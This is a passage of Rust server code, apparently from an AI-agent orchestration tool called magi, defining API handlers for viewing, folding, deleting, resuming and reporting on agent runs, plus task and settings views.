4486    candidate_summaries_md: Vec<Vec<md::Node>>,
4487    /// One entry per review round, in `reviews` order.
4488    reviews_md: Vec<RoundMd>,
4489}
4490
4491#[derive(Debug, Default, Serialize)]
4492struct AdviceMd {
4493    synthesis: Vec<md::Node>,
4494    /// One per record; empty for a seat with no proposal.
4495    approaches: Vec<Vec<md::Node>>,
4496}
4497
4498#[derive(Debug, Default, Serialize)]
4499struct RoundMd {
4500    /// One per reviewer record.
4501    reviewers: Vec<ReviewerMd>,
4502    /// One per `reconsideration` entry: the reason.
4503    reconsideration: Vec<Vec<md::Node>>,
4504    fix: Option<FixMd>,
4505}
4506
4507#[derive(Debug, Default, Serialize)]
4508struct ReviewerMd {
4509    summary: Vec<md::Node>,
4510    /// One per finding, in recorded order (not the display order).
4511    findings: Vec<Vec<md::Node>>,
4512}
4513
4514#[derive(Debug, Default, Serialize)]
4515struct FixMd {
4516    notes: Vec<md::Node>,
4517    /// One per rejection: the argument.
4518    rejected: Vec<Vec<md::Node>>,
4519}
4520
4521/// Parse a run's agent-written prose; a pure function of the state.
4522fn run_prose_md(state: &RunState) -> RunProseMd {
4523    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4524    RunProseMd {
4525        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4526            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4527            approaches: a
4528                .records
4529                .iter()
4530                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4531                .collect(),
4532        }),
4533        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4534        reviews_md: state
4535            .reviews
4536            .iter()
4537            .map(|round| RoundMd {
4538                reviewers: round
4539                    .reviews
4540                    .iter()
4541                    .map(|rec| ReviewerMd {
4542                        summary: nodes(&rec.summary),
4543                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4544                    })
4545                    .collect(),
4546                reconsideration: round
4547                    .reconsideration
4548                    .iter()
4549                    .map(|rv| nodes(&rv.reason))
4550                    .collect(),
4551                fix: round.fix.as_ref().map(|fix| FixMd {
4552                    notes: nodes(&fix.notes),
4553                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4554                }),
4555            })
4556            .collect(),
4557    }
4558}
4559
4560impl RunDetailView {
4561    fn of(
4562        state: RunState,
4563        waiting: bool,
4564        live: crate::run::Liveness,
4565        superseded_by: Option<String>,
4566        latest_attempt: Option<LatestAttempt>,
4567        task: Option<TaskRef>,
4568    ) -> Self {
4569        let display_status = run_display_status(&state, waiting, live);
4570        let stop_reason = crate::stop_reason::of(
4571            &state,
4572            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4573        );
4574        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4575        Self {
4576            progress: crate::run_progress::build(&state, live, waiting),
4577            stop_reason,
4578            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4579            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4580            prose_md: run_prose_md(&state),
4581            origin_label: crate::run::origin_label(state.origin.as_ref()),
4582            live,
4583            unmerged_by_design: state.unmerged_by_design(),
4584            waiting,
4585            display_status,
4586            badge_status,
4587            done: state.status.done(),
4588            superseded_by,
4589            latest_attempt,
4590            task,
4591            state,
4592        }
4593    }
4594}
4595
4596/// Core content needs neither the queue nor question/liveness evidence.
4597async fn run_core(
4598    State(ui): State<Arc<Ui>>,
4599    Path(id): Path<String>,
4600) -> ApiResult<Json<RunDetailView>> {
4601    blocking(move || {
4602        let id = resolve_run(&ui.runs, &id)?;
4603        let state = read_run(&ui.runs, &id)?;
4604        Ok(Json(RunDetailView::of(
4605            state,
4606            false,
4607            crate::run::Liveness::Unknown,
4608            None,
4609            None,
4610            None,
4611        )))
4612    })
4613    .await
4614}
4615
4616/// Lightweight observation: never replaces the evidence used by controls.
4617async fn run_progress(
4618    State(ui): State<Arc<Ui>>,
4619    Path(id): Path<String>,
4620) -> ApiResult<Json<serde_json::Value>> {
4621    blocking(move || {
4622        let id = resolve_run(&ui.runs, &id)?;
4623        let state = read_run(&ui.runs, &id)?;
4624        let live = state.liveness(crate::daemon::is_working_on(
4625            &ui.home,
4626            &id,
4627            Timestamp::now(),
4628        ));
4629        let waiting = !ui.questions.open_for(&id).is_empty();
4630        Ok(Json(serde_json::json!({
4631            "id": id, "updated_at": state.updated_at, "live": live,
4632            "observed_at": Timestamp::now(),
4633            "progress": crate::run_progress::build(&state, live, waiting),
4634        })))
4635    })
4636    .await
4637}
4638
4639async fn run_detail(
4640    State(ui): State<Arc<Ui>>,
4641    Path(id): Path<String>,
4642) -> ApiResult<Json<RunDetailView>> {
4643    blocking(move || {
4644        let id = resolve_run(&ui.runs, &id)?;
4645        let state = read_run(&ui.runs, &id)?;
4646        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4647        let live = state.liveness(daemon_claims);
4648        crate::queue::record_ids(ui.questions.root(), "json")?;
4649        let waiting = ui
4650            .questions
4651            .list()
4652            .iter()
4653            .any(|q| q.run == id && q.status.open());
4654        let max_attempts = daemon::Opts::default().max_attempts;
4655
4656        let matching_task = ui.find_task_for_run(&id)?;
4657
4658        let superseded_by = state
4659            .pr_taken_over_by
4660            .clone()
4661            .or_else(|| {
4662                matching_task
4663                    .as_ref()
4664                    .and_then(|t| t.successor_of(&id).cloned())
4665            })
4666            .as_deref()
4667            .map(crate::run::short_of)
4668            .map(str::to_owned);
4669
4670        // Best-effort: an unreadable head (mid-write, or deleted) just means
4671        // this run's own status stands on its own, same as no later attempt
4672        // existing at all.
4673        let latest_attempt = matching_task
4674            .as_ref()
4675            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4676            .and_then(|head_id| {
4677                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4678                    short: head.short().to_owned(),
4679                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4680                    status: head.status,
4681                    done: head.status.done(),
4682                    id: head.id,
4683                })
4684            });
4685
4686        let task = matching_task
4687            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4688
4689        Ok(Json(RunDetailView::of(
4690            state,
4691            waiting,
4692            live,
4693            superseded_by,
4694            latest_attempt,
4695            task,
4696        )))
4697    })
4698    .await
4699}
4700
4701/// `DELETE /api/runs/{id}`.
4702///
4703/// Remove a finished, folded run directory along with its artifacts.
4704/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4705/// deleted. This never touches git worktrees or branches - except for a run
4706/// whose state this build cannot read at all, where there is no candidate
4707/// list to check and the wholesale removal `magi fold` already uses for that
4708/// case is the only meaningful "delete".
4709async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4710    let (id, unreadable) = {
4711        let ui = Arc::clone(&ui);
4712        blocking(move || {
4713            let id = resolve_run(&ui.runs, &id)?;
4714            match read_run(&ui.runs, &id) {
4715                Ok(_) => {
4716                    // The record's locks and the guards are judged on what is
4717                    // read under them (`clean::delete_run`): a fold in progress
4718                    // refuses the deletion rather than racing it.
4719                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4720                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4721                            Some(refused) => ApiError::conflict(refused.0.clone()),
4722                            None => ApiError::internal(format!("{e:#}")),
4723                        },
4724                    )?;
4725                    Ok((id, false))
4726                }
4727                Err(_) => {
4728                    // Unreadable: there is no candidate list to guard on, so
4729                    // a live daemon's claim is the only thing left to check -
4730                    // the same rule `run_fold` applies for the same reason.
4731                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4732                        return Err(ApiError::conflict(format!(
4733                            "run {id} is being worked on by a live daemon right now"
4734                        )));
4735                    }
4736                    Ok((id, true))
4737                }
4738            }
4739        })
4740        .await?
4741    };
4742    if unreadable {
4743        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4744            .await
4745            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4746    }
4747    let ui = Arc::clone(&ui);
4748    let done = id.clone();
4749    blocking(move || {
4750        // The agent that asked died with the run, so an open question would
4751        // keep asking the operator for a decision nobody can deliver.
4752        ui.questions.abandon_for_run(
4753            &done,
4754            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4755        )?;
4756        Ok(())
4757    })
4758    .await?;
4759    Ok(StatusCode::NO_CONTENT)
4760}
4761
4762/// `POST /api/runs/{id}/fold`.
4763///
4764/// Remove a run's candidate worktrees and branches, keeping its record.
4765///
4766/// This exists because the deck answered "delete this run" with *"Candidates
4767/// must be folded before deleting. Run `magi fold` first."* — a phone being
4768/// told to open a terminal, in the one product whose point is that it does
4769/// not need one. The runs an operator most wants gone are the stalled and
4770/// blocked ones, and those are exactly the runs still holding worktrees:
4771/// three of them here held 53 GB.
4772///
4773/// The winner's tree goes too. A fold is what someone asks for when they are
4774/// finished with a run, and leaving one tree behind would leave the delete
4775/// button disabled for the same reason as before.
4776///
4777/// Refused while a live daemon is working on the run, on the rule that guards
4778/// deletion: folding underneath a running agent would pull the tree it is
4779/// editing out from under it.
4780///
4781/// A run whose state this build cannot read at all falls back to
4782/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4783/// selectively, so the whole record's worktree goes wholesale, exactly what
4784/// `magi fold` does on the command line for the same run.
4785async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4786    let (id, state) = {
4787        let ui = Arc::clone(&ui);
4788        blocking(move || {
4789            let id = resolve_run(&ui.runs, &id)?;
4790            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4791                return Err(ApiError::conflict(format!(
4792                    "run {id} is being worked on by a live daemon right now"
4793                )));
4794            }
4795            crate::clean::ensure_record_identity(&ui.runs, &id)
4796                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4797            let state = match read_run(&ui.runs, &id) {
4798                Ok(state) => {
4799                    state
4800                        .ensure_directory(&id)
4801                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4802                    Some(state)
4803                }
4804                Err(_) => None,
4805            };
4806            Ok((id, state))
4807        })
4808        .await?
4809    };
4810    let removed = match state {
4811        Some(mut state) => {
4812            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4813                .await
4814                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4815            // Nothing left to remove is not the same thing as nothing left to
4816            // do — see `clean::clear_abandoned_active`'s own doc for the run
4817            // this exists for: worktrees already gone, but a killed process
4818            // left active seats nobody will ever answer for.
4819            if removed.is_empty() {
4820                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4821                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4822            }
4823            removed
4824        }
4825        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4826            .await
4827            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4828    };
4829    Ok(Json(FoldView {
4830        run: id,
4831        removed_count: removed.len(),
4832        removed,
4833    }))
4834}
4835
4836/// What a fold took away, so the deck can say so rather than only re-render.
4837#[derive(Debug, Serialize)]
4838struct FoldView {
4839    run: String,
4840    /// Worktree paths and branch names removed, in the order they went.
4841    removed: Vec<String>,
4842    removed_count: usize,
4843}
4844
4845/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4846/// merged outside of `land::land`'s own loop.
4847#[derive(Debug, Deserialize)]
4848struct FoldMergedBody {
4849    #[serde(default)]
4850    pr_url: String,
4851}
4852
4853/// `POST /api/runs/{id}/fold-merged`.
4854///
4855/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4856/// `Blocked` with `merge: null` because magi never got as far as opening a
4857/// pull request of its own (a title over GitHub's length limit, `gh pr
4858/// create` unreachable, a stale token), which the operator then finished by
4859/// hand on a pull request magi never recorded. The "Run actions" sheet used
4860/// to have no way to tell it about that pull request short of a terminal and
4861/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4862/// this exists and what it deliberately does not do (`bump::after_merge`).
4863///
4864/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4865/// correction rewrites the same `status`/`merge` fields a running graph would
4866/// be writing to on its own.
4867///
4868/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4869/// calls plus a fold, seconds of work, and the phone should get its answer
4870/// (which pull request it recorded, and what changed) in the same round
4871/// trip rather than learning it from the change stream.
4872async fn run_fold_merged(
4873    State(ui): State<Arc<Ui>>,
4874    Path(id): Path<String>,
4875    Json(body): Json<FoldMergedBody>,
4876) -> ApiResult<Json<FoldMergedView>> {
4877    let pr_url = body.pr_url.trim().to_owned();
4878    if pr_url.is_empty() {
4879        return Err(ApiError::bad_request("pr_url is required"));
4880    }
4881    let (id, mut state) = {
4882        let ui = Arc::clone(&ui);
4883        blocking(move || {
4884            let id = resolve_run(&ui.runs, &id)?;
4885            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4886                return Err(ApiError::conflict(format!(
4887                    "run {id} is being worked on by a live daemon right now"
4888                )));
4889            }
4890            let state = read_run(&ui.runs, &id)?;
4891            state
4892                .ensure_directory(&id)
4893                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4894            Ok((id, state))
4895        })
4896        .await?
4897    };
4898    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4899        .await
4900        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4901    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4902        .await
4903        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4904    Ok(Json(FoldMergedView {
4905        run: id,
4906        before: before.as_str().to_owned(),
4907        after: after.as_str().to_owned(),
4908        removed,
4909    }))
4910}
4911
4912/// What [`run_fold_merged`] did, so the deck can say so.
4913#[derive(Debug, Serialize)]
4914struct FoldMergedView {
4915    run: String,
4916    /// `status` before the correction — normally `"blocked"`.
4917    before: String,
4918    /// `status` after — normally `"merged"`.
4919    after: String,
4920    /// Worktree paths and branch names the trailing fold removed.
4921    removed: Vec<String>,
4922}
4923
4924/// `POST /api/runs/{id}/resume`.
4925///
4926/// Carry a stalled run on from where it stopped, in the background.
4927///
4928/// A stalled card says "the work is kept" and used to offer no way to act on
4929/// that: the candidates are built and paid for, and continuing means re-asking
4930/// only the seats whose absence collapsed the panel. The alternative an
4931/// operator actually had was releasing the task, which competes three fresh
4932/// implementations against work that already exists.
4933///
4934/// **202, not 200.** A resume runs agents for minutes; holding the connection
4935/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4936/// phone learns the outcome from the change stream.
4937///
4938/// Refused when the loop is running at all, not merely when it is on this run.
4939/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4940/// started a second graph on top of whatever the loop is already driving —
4941/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4942/// allows — would spend that quota twice over for no extra throughput.
4943async fn run_resume(
4944    State(ui): State<Arc<Ui>>,
4945    Path(id): Path<String>,
4946) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4947    let admission = ui.begin_admission()?;
4948    admitted(admission, async move {
4949        let (id, state) = {
4950            let ui = Arc::clone(&ui);
4951            blocking(move || {
4952                let id = resolve_run(&ui.runs, &id)?;
4953                let state = read_run(&ui.runs, &id)?;
4954                Ok((id, state))
4955            })
4956            .await?
4957        };
4958        crate::resume::validate_unqueued(&ui.home, &id)
4959            .map_err(|e| ApiError::conflict(e.to_string()))?;
4960        let _resume = ui.begin_resume(&id)?;
4961
4962        crate::resume::start(&ui.home, id.clone())
4963            .await
4964            .map_err(ApiError::from)?;
4965        // The same shape the list route returns, so the phone updates the card it
4966        // already has rather than learning a second schema for one button.
4967        let queued = RunSummary::of(
4968            &state,
4969            !ui.questions.open_for(&id).is_empty(),
4970            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4971        );
4972        Ok((StatusCode::ACCEPTED, Json(queued)))
4973    })
4974    .await
4975}
4976
4977async fn run_report(
4978    State(ui): State<Arc<Ui>>,
4979    Path(id): Path<String>,
4980) -> ApiResult<impl IntoResponse> {
4981    let text = blocking(move || {
4982        let id = resolve_run(&ui.runs, &id)?;
4983        // Colour is off for the whole process, set once in `serve`. Rendering
4984        // is CPU work over the full state, which is the other reason this is
4985        // not on the executor.
4986        let state = read_run(&ui.runs, &id)?;
4987        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4988        let live = state.liveness(daemon_claims);
4989        Ok(format!(
4990            "{}{}",
4991            report::run(&state),
4992            report::active_seats(&state, live)
4993        ))
4994    })
4995    .await?;
4996    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4997}
4998
4999/// The structured twin of [`run_report`]: the same state, as sections the UI
5000/// draws as cards. An unreadable run answers with the same error the text
5001/// route does; it is never turned into an empty report.
5002async fn run_report_json(
5003    State(ui): State<Arc<Ui>>,
5004    Path(id): Path<String>,
5005) -> ApiResult<Json<crate::report_view::RunReportView>> {
5006    let view = blocking(move || {
5007        let id = resolve_run(&ui.runs, &id)?;
5008        let state = read_run(&ui.runs, &id)?;
5009        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5010        // Only a record that lacks the structured details reads `artifacts/`.
5011        let recovered = state.graft.as_ref().map(|_| {
5012            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5013        });
5014        Ok(crate::report_view::build_with(
5015            &state,
5016            state.liveness(daemon_claims),
5017            recovered.as_ref(),
5018        ))
5019    })
5020    .await?;
5021    Ok(Json(view))
5022}
5023
5024/// Archive access uses validated run-owned records, never a request-supplied path.
5025async fn run_seat_evidence(
5026    State(ui): State<Arc<Ui>>,
5027    Path(id): Path<String>,
5028) -> ApiResult<impl IntoResponse> {
5029    let id = resolve_run(&ui.runs, &id)?;
5030    let heads = crate::retention::seat_heads(&ui.home, &id)
5031        .await
5032        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5033    Ok(Json(heads))
5034}
5035
5036async fn run_seat_diff(
5037    State(ui): State<Arc<Ui>>,
5038    Path((id, head)): Path<(String, String)>,
5039) -> ApiResult<impl IntoResponse> {
5040    let id = resolve_run(&ui.runs, &id)?;
5041    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5042        .await
5043        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5044    Ok((
5045        [
5046            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5047            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5048        ],
5049        patch,
5050    ))
5051}
5052
5053/// Most of a graft diff the route returns.
5054const GRAFT_DIFF_MAX: usize = 400 * 1024;
5055/// How long `git diff` may run.
5056const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5057
5058/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
5059/// come from the run record, never from the request.
5060async fn run_graft_diff(
5061    State(ui): State<Arc<Ui>>,
5062    Path(id): Path<String>,
5063) -> ApiResult<impl IntoResponse> {
5064    let (repo, pre, post) = blocking(move || {
5065        let id = resolve_run(&ui.runs, &id)?;
5066        let state = read_run(&ui.runs, &id)?;
5067        let g = state
5068            .graft
5069            .as_ref()
5070            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5071        let post = g
5072            .post
5073            .clone()
5074            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5075        Ok((state.repo.clone(), g.pre.clone(), post))
5076    })
5077    .await?;
5078    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5079    if !hex(&pre) || !hex(&post) {
5080        return Err(ApiError::not_found("the recorded commits are not valid"));
5081    }
5082    let out = tokio::time::timeout(
5083        GRAFT_DIFF_TIMEOUT,
5084        crate::git::git_raw(
5085            &repo,
5086            &[
5087                "diff",
5088                "--no-color",
5089                "--no-ext-diff",
5090                "-M",
5091                &pre,
5092                &post,
5093                "--",
5094            ],
5095        ),
5096    )
5097    .await
5098    .map_err(|_| ApiError::not_found("git diff timed out"))?
5099    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5100    if out.code != Some(0) {
5101        return Err(ApiError::not_found(
5102            "the recorded commits are no longer in the repository",
5103        ));
5104    }
5105    let mut body = out.stdout;
5106    if body.len() > GRAFT_DIFF_MAX {
5107        let mut cut = GRAFT_DIFF_MAX;
5108        while !body.is_char_boundary(cut) {
5109            cut -= 1;
5110        }
5111        body.truncate(cut);
5112        body.push_str("\n... diff truncated ...");
5113    }
5114    Ok((
5115        [
5116            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5117            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5118        ],
5119        body,
5120    ))
5121}
5122
5123/// A task as the UI sees it.
5124///
5125/// The whole task, plus the two things the client would otherwise have to
5126/// reimplement: the human-readable source and the status string. Nothing is
5127/// removed - the phone shows `last_error` and the run history verbatim.
5128#[derive(Debug, Serialize)]
5129struct TaskView {
5130    #[serde(flatten)]
5131    task: Task,
5132    source_label: String,
5133    reassignment_notes: Vec<String>,
5134    source_link: Option<SourceLink>,
5135    status_str: &'static str,
5136    /// Fixed scheduling lane, ahead of ordinary priority order.
5137    upgrade_resume_at: Option<Timestamp>,
5138    /// The instruction, parsed as markdown, for the Queue card's "Full
5139    /// instruction" panel. `task.instruction` is unchanged and still carries
5140    /// the raw text.
5141    instruction_md: Vec<md::Node>,
5142    /// For a blocked task, what it waits on with each dependency's state, e.g.
5143    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5144    /// recurses; empty for every other status.
5145    waits_on: Vec<String>,
5146    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5147    /// behind - non-empty means nothing in the loop will ever run it.
5148    stuck_roots: Vec<String>,
5149    blockers: Vec<crate::blockers::BlockerView>,
5150    recovery: Option<String>,
5151    /// Shared read-only admission status (configured mode, active reservation
5152    /// lane, and concrete non-concurrency or capacity blocker).
5153    #[serde(skip_serializing_if = "Option::is_none")]
5154    admission: Option<daemon::TaskAdmission>,
5155}
5156
5157impl From<Task> for TaskView {
5158    fn from(task: Task) -> Self {
5159        Self {
5160            source_label: task.source_label(),
5161            reassignment_notes: Vec::new(),
5162            source_link: source_link(&task.source),
5163            status_str: task.status.as_str(),
5164            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5165            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5166            waits_on: Vec::new(),
5167            stuck_roots: Vec::new(),
5168            blockers: Vec::new(),
5169            recovery: task_recovery(&task),
5170            admission: None,
5171            task,
5172        }
5173    }
5174}
5175
5176impl TaskView {
5177    fn with_admission(
5178        mut self,
5179        snapshot: &daemon::AdmissionSnapshot,
5180        queue: &Queue,
5181        inv: Option<&crate::blockers::Inventory>,
5182        home: &std::path::Path,
5183    ) -> Self {
5184        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5185        self
5186    }
5187
5188    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5189        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5190            let recovery = crate::triage::RecoveryIndex::load(questions);
5191            let pending = crate::blockers::Inventory::recovery_views(&self.task, &recovery);
5192            if !pending.is_empty() {
5193                self.recovery = Some(format!(
5194                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5195                    self.recovery.as_deref().unwrap_or_default()
5196                ));
5197            }
5198            for decision in pending {
5199                self.blockers.retain(|view| view.id != decision.id);
5200                self.blockers.push(decision);
5201            }
5202        }
5203        self
5204    }
5205
5206    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5207        let waits_on = inv.waits_on(&task);
5208        let stuck_roots = inv
5209            .stuck_roots(&task)
5210            .iter()
5211            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5212            .collect();
5213        Self {
5214            blockers: inv.blocker_views(&task),
5215            waits_on,
5216            stuck_roots,
5217            ..Self::from(task)
5218        }
5219    }
5220}
5221
5222fn task_recovery(task: &Task) -> Option<String> {
5223    use crate::queue::{HoldSource, TaskStatus};
5224    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5225        return None;
5226    }
5227    let mut text = String::new();
5228    if task.status == TaskStatus::Blocked {
5229        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5230        let restored = match task.blocked_from {
5231            Some(TaskStatus::Running) => TaskStatus::Queued,
5232            Some(status) => status,
5233            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5234            None => TaskStatus::Queued,
5235        };
5236        text.push_str(&format!(
5237            "After all dependencies resolve, the scheduler restores {}. ",
5238            restored.as_str()
5239        ));
5240        if restored != TaskStatus::Held {
5241            return Some(text);
5242        }
5243    }
5244    text.push_str(match task.hold_source {
5245        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5246        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5247            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5248        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5249        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5250    });
5251    Some(text)
5252}
5253
5254/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5255/// its absence, leaves the cache to decide.
5256#[derive(Debug, Default, Deserialize)]
5257#[serde(default)]
5258struct ReposQuery {
5259    refresh: u8,
5260}
5261
5262/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5263/// listing `magi repos` prints at a terminal.
5264///
5265/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5266/// so an edit to `magi.toml` takes effect without a restart, the same
5267/// reasoning [`config_for`] documents for the talk routes.
5268async fn repos_list(
5269    State(ui): State<Arc<Ui>>,
5270    Query(q): Query<ReposQuery>,
5271) -> ApiResult<Json<Vec<repos::Repo>>> {
5272    let refresh = q.refresh != 0;
5273    blocking(move || {
5274        let (cfg, _) = Config::discover(&ui.repo, None)?;
5275        Ok(Json(ui.repos_cache.list(
5276            &cfg.repos.roots,
5277            Duration::from_secs(cfg.repos.scan_ttl),
5278            refresh,
5279        )))
5280    })
5281    .await
5282}
5283
5284/// Optional context, restricted to the server's known checkouts.
5285#[derive(Debug, Default, Deserialize)]
5286struct SettingsQuery {
5287    repo: Option<PathBuf>,
5288}
5289
5290/// Always discover against the server's original context, never the selection.
5291/// If that config is broken, retain the default context and machine-only roots
5292/// so the settings error contract and recovery picker remain available.
5293fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5294    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5295        let paths: Vec<PathBuf> = ui
5296            .machine_config
5297            .iter()
5298            .filter(|p| p.is_file())
5299            .cloned()
5300            .collect();
5301        if paths.is_empty() {
5302            Ok(Config::autodetected())
5303        } else {
5304            Config::load_layers(&paths)
5305        }
5306    });
5307    let mut known = cfg
5308        .map(|cfg| {
5309            ui.repos_cache.list(
5310                &cfg.repos.roots,
5311                Duration::from_secs(cfg.repos.scan_ttl),
5312                refresh,
5313            )
5314        })
5315        .unwrap_or_default();
5316    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5317    if !known.iter().any(|r| r.path == path) {
5318        known.push(repos::Repo {
5319            name: path
5320                .file_name()
5321                .unwrap_or_default()
5322                .to_string_lossy()
5323                .into_owned(),
5324            path,
5325        });
5326    }
5327    known
5328}
5329
5330fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5331    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5332    let canonical = requested.canonicalize().ok();
5333    let mut known = settings_repositories(ui, false);
5334    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5335    if !known.iter().any(matches) {
5336        known = settings_repositories(ui, true);
5337    }
5338    let repo = known
5339        .iter()
5340        .find(|r| matches(r))
5341        .map(|r| r.path.clone())
5342        .ok_or_else(|| ApiError {
5343            text_reason: None,
5344            status: StatusCode::UNPROCESSABLE_ENTITY,
5345            message: "Choose a known repository from the Settings selector.".to_owned(),
5346        })?;
5347    Ok((repo, known))
5348}
5349
5350/// `GET /api/settings` - the effective role assignments and roster, with the
5351/// layer each came from. A config that fails to load answers 200 with an
5352/// `error`, so the screen can say so instead of drawing empty lists.
5353async fn settings_get(
5354    State(ui): State<Arc<Ui>>,
5355    Query(q): Query<SettingsQuery>,
5356) -> ApiResult<Json<settings::SettingsView>> {
5357    blocking(move || {
5358        let (repo, known) = settings_context(&ui, q)?;
5359        Ok(Json(settings::view_with_repos(
5360            &repo,
5361            ui.machine_config.as_deref(),
5362            &known,
5363        )))
5364    })
5365    .await
5366}
5367
5368/// The body of `PUT /api/settings/roles`.
5369#[derive(Debug, Deserialize)]
5370#[serde(deny_unknown_fields)]
5371struct RolesBody {
5372    /// The `revision` the client last read.
5373    revision: String,
5374    /// Role key to its new ids; an empty list resets the key to its default.
5375    #[serde(default)]
5376    roles: std::collections::BTreeMap<String, Vec<String>>,
5377    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
